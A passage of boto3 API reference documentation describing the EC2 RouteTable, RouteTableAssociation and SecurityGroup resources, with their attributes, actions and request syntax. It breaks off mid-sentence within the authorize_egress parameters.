+Parameters + +**id** (_string_) -- The RouteTable's id identifier. This **must** be set. + +These are the resource's available identifiers: + +- [id](#EC2.RouteTable.id "EC2.RouteTable.id") + +These are the resource's available attributes: + +- [associations_attribute](#EC2.RouteTable.associations_attribute "EC2.RouteTable.associations_attribute") +- [owner_id](#EC2.RouteTable.owner_id "EC2.RouteTable.owner_id") +- [propagating_vgws](#EC2.RouteTable.propagating_vgws "EC2.RouteTable.propagating_vgws") +- [route_table_id](#EC2.RouteTable.route_table_id "EC2.RouteTable.route_table_id") +- [routes_attribute](#EC2.RouteTable.routes_attribute "EC2.RouteTable.routes_attribute") +- [tags](#EC2.RouteTable.tags "EC2.RouteTable.tags") +- [vpc_id](#EC2.RouteTable.vpc_id "EC2.RouteTable.vpc_id") + +These are the resource's available references: + +- [associations](#EC2.RouteTable.associations "EC2.RouteTable.associations") +- [routes](#EC2.RouteTable.routes "EC2.RouteTable.routes") +- [vpc](#EC2.RouteTable.vpc "EC2.RouteTable.vpc") + +These are the resource's available actions: + +- [associate_with_subnet()](#EC2.RouteTable.associate_with_subnet "EC2.RouteTable.associate_with_subnet") +- [create_route()](#EC2.RouteTable.create_route "EC2.RouteTable.create_route") +- [create_tags()](#EC2.RouteTable.create_tags "EC2.RouteTable.create_tags") +- [delete()](#EC2.RouteTable.delete "EC2.RouteTable.delete") +- [get_available_subresources()](#EC2.RouteTable.get_available_subresources "EC2.RouteTable.get_available_subresources") +- [load()](#EC2.RouteTable.load "EC2.RouteTable.load") +- [reload()](#EC2.RouteTable.reload "EC2.RouteTable.reload") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The RouteTable's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.RouteTable.load "EC2.RouteTable.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +associations_attribute + +- _(list) --_ + + The associations between the route table and one or more subnets or a gateway. + + - _(dict) --_ + + Describes an association between a route table and a subnet or gateway. + + - **Main** _(boolean) --_ + + Indicates whether this is the main route table. + + - **RouteTableAssociationId** _(string) --_ + + The ID of the association. + + - **RouteTableId** _(string) --_ + + The ID of the route table. + + - **SubnetId** _(string) --_ + + The ID of the subnet. A subnet ID is not returned for an implicit association. + + - **GatewayId** _(string) --_ + + The ID of the internet gateway or virtual private gateway. + + - **AssociationState** _(dict) --_ + + The state of the association. + + - **State** _(string) --_ + + The state of the association. + + - **StatusMessage** _(string) --_ + + The status message, if applicable. + + +owner_id + +- _(string) --_ + + The ID of the AWS account that owns the route table. + + +propagating_vgws + +- _(list) --_ + + Any virtual private gateway (VGW) propagating routes. + + - _(dict) --_ + + Describes a virtual private gateway propagating route. + + - **GatewayId** _(string) --_ + + The ID of the virtual private gateway. + + +route_table_id + +- _(string) --_ + + The ID of the route table. + + +routes_attribute + +- _(list) --_ + + The routes in the route table. + + - _(dict) --_ + + Describes a route in a route table. + + - **DestinationCidrBlock** _(string) --_ + + The IPv4 CIDR block used for the destination match. + + - **DestinationIpv6CidrBlock** _(string) --_ + + The IPv6 CIDR block used for the destination match. + + - **DestinationPrefixListId** _(string) --_ + + The prefix of the AWS service. + + - **EgressOnlyInternetGatewayId** _(string) --_ + + The ID of the egress-only internet gateway. + + - **GatewayId** _(string) --_ + + The ID of a gateway attached to your VPC. + + - **InstanceId** _(string) --_ + + The ID of a NAT instance in your VPC. + + - **InstanceOwnerId** _(string) --_ + + The AWS account ID of the owner of the instance. + + - **NatGatewayId** _(string) --_ + + The ID of a NAT gateway. + + - **TransitGatewayId** _(string) --_ + + The ID of a transit gateway. + + - **LocalGatewayId** _(string) --_ + + The ID of the local gateway. + + - **CarrierGatewayId** _(string) --_ + + The ID of the carrier gateway. + + - **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + - **Origin** _(string) --_ + + Describes how the route was created. + + - CreateRouteTable - The route was automatically created when the route table was created. + - CreateRoute - The route was manually added to the route table. + - EnableVgwRoutePropagation - The route was propagated by route propagation. + - **State** _(string) --_ + + The state of the route. The blackhole state indicates that the route's target isn't available (for example, the specified gateway isn't attached to the VPC, or the specified NAT instance has been terminated). + + - **VpcPeeringConnectionId** _(string) --_ + + The ID of a VPC peering connection. + + +tags + +- _(list) --_ + + Any tags assigned to the route table. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +vpc_id + +- _(string) --_ + + The ID of the VPC. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +associations + +(RouteTableAssociation) The related associations if set, otherwise None. + +routes + +(Route) The related routes if set, otherwise None. + +vpc + +(Vpc) The related vpc if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +associate_with_subnet(kwargs_) + +Associates a subnet in your VPC or an internet gateway or virtual private gateway attached to your VPC with a route table in your VPC. This association causes traffic from the subnet or gateway to be routed according to the routes in the route table. The action returns an association ID, which you need in order to disassociate the route table later. A route table can be associated with multiple subnets. + +For more information, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AssociateRouteTable) + +**Request Syntax** + +route_table_association = route_table.associate_with_subnet( + DryRun=True|False, + SubnetId='string', + GatewayId='string' +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **SubnetId** (_string_) -- The ID of the subnet. +- **GatewayId** (_string_) -- The ID of the internet gateway or virtual private gateway. + +Return type + +ec2.RouteTableAssociation + +Returns + +RouteTableAssociation resource + +create_route(kwargs_) + +Creates a route in a route table within a VPC. + +You must specify one of the following targets: internet gateway or virtual private gateway, NAT instance, NAT gateway, VPC peering connection, network interface, egress-only internet gateway, or transit gateway. + +When determining how to route traffic, we use the route with the most specific match. For example, traffic is destined for the IPv4 address 192.0.2.3 , and the route table includes the following two IPv4 routes: + +- 192.0.2.0/24 (goes to some target A) +- 192.0.2.0/28 (goes to some target B) + +Both routes apply to the traffic destined for 192.0.2.3 . However, the second route in the list covers a smaller number of IP addresses and is therefore more specific, so we use that route to determine where to target the traffic. + +For more information about route tables, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateRoute) + +**Request Syntax** + +route = route_table.create_route( + DestinationCidrBlock='string', + DestinationIpv6CidrBlock='string', + DestinationPrefixListId='string', + DryRun=True|False, + VpcEndpointId='string', + EgressOnlyInternetGatewayId='string', + GatewayId='string', + InstanceId='string', + NatGatewayId='string', + TransitGatewayId='string', + LocalGatewayId='string', + CarrierGatewayId='string', + NetworkInterfaceId='string', + VpcPeeringConnectionId='string' +) + +Parameters + +- **DestinationCidrBlock** (_string_) -- The IPv4 CIDR address block used for the destination match. Routing decisions are based on the most specific match. We modify the specified CIDR block to its canonical form; for example, if you specify 100.68.0.18/18 , we modify it to 100.68.0.0/18 . +- **DestinationIpv6CidrBlock** (_string_) -- The IPv6 CIDR block used for the destination match. Routing decisions are based on the most specific match. +- **DestinationPrefixListId** (_string_) -- The ID of a prefix list used for the destination match. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **VpcEndpointId** (_string_) -- The ID of a VPC endpoint. Supported for Gateway Load Balancer endpoints only. +- **EgressOnlyInternetGatewayId** (_string_) -- [IPv6 traffic only] The ID of an egress-only internet gateway. +- **GatewayId** (_string_) -- The ID of an internet gateway or virtual private gateway attached to your VPC. +- **InstanceId** (_string_) -- The ID of a NAT instance in your VPC. The operation fails if you specify an instance ID unless exactly one network interface is attached. +- **NatGatewayId** (_string_) -- [IPv4 traffic only] The ID of a NAT gateway. +- **TransitGatewayId** (_string_) -- The ID of a transit gateway. +- **LocalGatewayId** (_string_) -- The ID of the local gateway. +- **CarrierGatewayId** (_string_) -- + + The ID of the carrier gateway. + + You can only use this option when the VPC contains a subnet which is associated with a Wavelength Zone. + +- **NetworkInterfaceId** (_string_) -- The ID of a network interface. +- **VpcPeeringConnectionId** (_string_) -- The ID of a VPC peering connection. + +Return type + +ec2.Route + +Returns + +Route resource + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = route_table.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes the specified route table. You must disassociate the route table from any subnets before you can delete it. You can't delete the main route table. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteRouteTable) + +**Request Syntax** + +response = route_table.delete( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_route_tables()](#EC2.Client.describe_route_tables "EC2.Client.describe_route_tables") to update the attributes of the RouteTable resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +route_table.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_route_tables()](#EC2.Client.describe_route_tables "EC2.Client.describe_route_tables") to update the attributes of the RouteTable resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +route_table.reload() + +Returns + +None + +[RouteTableAssociation](#id1250) +---------------------------------------------------------------------------------------- + +_class_ EC2.RouteTableAssociation(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) RouteTableAssociation: + +import boto3 + +ec2 = boto3.resource('ec2') +route_table_association = ec2.RouteTableAssociation('id') + +Parameters + +**id** (_string_) -- The RouteTableAssociation's id identifier. This **must** be set. + +These are the resource's available identifiers: + +- [id](#EC2.RouteTableAssociation.id "EC2.RouteTableAssociation.id") + +These are the resource's available attributes: + +- [association_state](#EC2.RouteTableAssociation.association_state "EC2.RouteTableAssociation.association_state") +- [gateway_id](#EC2.RouteTableAssociation.gateway_id "EC2.RouteTableAssociation.gateway_id") +- [main](#EC2.RouteTableAssociation.main "EC2.RouteTableAssociation.main") +- [route_table_association_id](#EC2.RouteTableAssociation.route_table_association_id "EC2.RouteTableAssociation.route_table_association_id") +- [route_table_id](#EC2.RouteTableAssociation.route_table_id "EC2.RouteTableAssociation.route_table_id") +- [subnet_id](#EC2.RouteTableAssociation.subnet_id "EC2.RouteTableAssociation.subnet_id") + +These are the resource's available references: + +- [route_table](#EC2.RouteTableAssociation.route_table "EC2.RouteTableAssociation.route_table") +- [subnet](#EC2.RouteTableAssociation.subnet "EC2.RouteTableAssociation.subnet") + +These are the resource's available actions: + +- [delete()](#EC2.RouteTableAssociation.delete "EC2.RouteTableAssociation.delete") +- [get_available_subresources()](#EC2.RouteTableAssociation.get_available_subresources "EC2.RouteTableAssociation.get_available_subresources") +- [replace_subnet()](#EC2.RouteTableAssociation.replace_subnet "EC2.RouteTableAssociation.replace_subnet") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The RouteTableAssociation's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the load() method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +association_state + +- _(dict) --_ + + The state of the association. + + - **State** _(string) --_ + + The state of the association. + + - **StatusMessage** _(string) --_ + + The status message, if applicable. + + +gateway_id + +- _(string) --_ + + The ID of the internet gateway or virtual private gateway. + + +main + +- _(boolean) --_ + + Indicates whether this is the main route table. + + +route_table_association_id + +- _(string) --_ + + The ID of the association. + + +route_table_id + +- _(string) --_ + + The ID of the route table. + + +subnet_id + +- _(string) --_ + + The ID of the subnet. A subnet ID is not returned for an implicit association. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +route_table + +(RouteTable) The related route_table if set, otherwise None. + +subnet + +(Subnet) The related subnet if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +delete(kwargs_) + +Disassociates a subnet or gateway from a route table. + +After you perform this action, the subnet no longer uses the routes in the route table. Instead, it uses the routes in the VPC's main route table. For more information about route tables, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DisassociateRouteTable) + +**Request Syntax** + +response = route_table_association.delete( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +replace_subnet(kwargs_) + +Changes the route table associated with a given subnet, internet gateway, or virtual private gateway in a VPC. After the operation completes, the subnet or gateway uses the routes in the new route table. For more information about route tables, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +You can also use this operation to change which table is the main route table in the VPC. Specify the main route table's association ID and the route table ID of the new main route table. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ReplaceRouteTableAssociation) + +**Request Syntax** + +route_table_association = route_table_association.replace_subnet( + DryRun=True|False, + RouteTableId='string' +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **RouteTableId** (_string_) -- + + **[REQUIRED]** + + The ID of the new route table to associate with the subnet. + + +Return type + +ec2.RouteTableAssociation + +Returns + +RouteTableAssociation resource + +[SecurityGroup](#id1251) +------------------------------------------------------------------------ + +_class_ EC2.SecurityGroup(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) SecurityGroup: + +import boto3 + +ec2 = boto3.resource('ec2') +security_group = ec2.SecurityGroup('id') + +Parameters + +**id** (_string_) -- The SecurityGroup's id identifier. This **must** be set. + +These are the resource's available identifiers: + +- [id](#EC2.SecurityGroup.id "EC2.SecurityGroup.id") + +These are the resource's available attributes: + +- [description](#EC2.SecurityGroup.description "EC2.SecurityGroup.description") +- [group_id](#EC2.SecurityGroup.group_id "EC2.SecurityGroup.group_id") +- [group_name](#EC2.SecurityGroup.group_name "EC2.SecurityGroup.group_name") +- [ip_permissions](#EC2.SecurityGroup.ip_permissions "EC2.SecurityGroup.ip_permissions") +- [ip_permissions_egress](#EC2.SecurityGroup.ip_permissions_egress "EC2.SecurityGroup.ip_permissions_egress") +- [owner_id](#EC2.SecurityGroup.owner_id "EC2.SecurityGroup.owner_id") +- [tags](#EC2.SecurityGroup.tags "EC2.SecurityGroup.tags") +- [vpc_id](#EC2.SecurityGroup.vpc_id "EC2.SecurityGroup.vpc_id") + +These are the resource's available actions: + +- [authorize_egress()](#EC2.SecurityGroup.authorize_egress "EC2.SecurityGroup.authorize_egress") +- [authorize_ingress()](#EC2.SecurityGroup.authorize_ingress "EC2.SecurityGroup.authorize_ingress") +- [create_tags()](#EC2.SecurityGroup.create_tags "EC2.SecurityGroup.create_tags") +- [delete()](#EC2.SecurityGroup.delete "EC2.SecurityGroup.delete") +- [get_available_subresources()](#EC2.SecurityGroup.get_available_subresources "EC2.SecurityGroup.get_available_subresources") +- [load()](#EC2.SecurityGroup.load "EC2.SecurityGroup.load") +- [reload()](#EC2.SecurityGroup.reload "EC2.SecurityGroup.reload") +* [revoke_egress()](#EC2.SecurityGroup.revoke_egress "EC2.SecurityGroup.revoke_egress") +* [revoke_ingress()](#EC2.SecurityGroup.revoke_ingress "EC2.SecurityGroup.revoke_ingress") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The SecurityGroup's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.SecurityGroup.load "EC2.SecurityGroup.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +description + +* _(string) --_ + + A description of the security group. + + +group_id + +* _(string) --_ + + The ID of the security group. + + +group_name + +* _(string) --_ + + The name of the security group. + + +ip_permissions + +* _(list) --_ + + The inbound rules associated with the security group. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + + +ip_permissions_egress + +* _(list) --_ + + [VPC only] The outbound rules associated with the security group. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + + +owner_id + +* _(string) --_ + + The AWS account ID of the owner of the security group. + + +tags + +* _(list) --_ + + Any tags assigned to the security group. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +vpc_id + +* _(string) --_ + + [VPC only] The ID of the VPC for the security group. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +authorize_egress(kwargs_) + +[VPC only] Adds the specified egress rules to a security group for use with a VPC. + +An outbound rule permits instances to send traffic to the specified IPv4 or IPv6 CIDR address ranges, or to the instances associated with the specified destination security groups. + +You specify a protocol for each rule (for example, TCP). For the TCP and UDP protocols, you must also specify the destination port or port range. For the ICMP protocol, you must also specify the ICMP type and code. You can use -1 for the type or code to mean all types or all codes. + +Rule changes are propagated to affected instances as quickly as possible. However, a small delay might occur. + +For more information about VPC security group limits, see [Amazon VPC Limits](https://docs.aws.amazon.com/vpc/latest/userguide/amazon-vpc-limits.html) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AuthorizeSecurityGroupEgress) + +**Request Syntax** + +response = security_group.authorize_egress( + DryRun=True|False, + IpPermissions=[ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ], + CidrIp='string', + FromPort=123, + IpProtocol='string', + ToPort=123, + SourceSecurityGroupName='string', + SourceSecurityGroupOwnerId='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **IpPermissions** (_list_) -- + + The sets of IP permissions. You can't specify a destination security group and a CIDR IP address range in the same set of permissions. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and 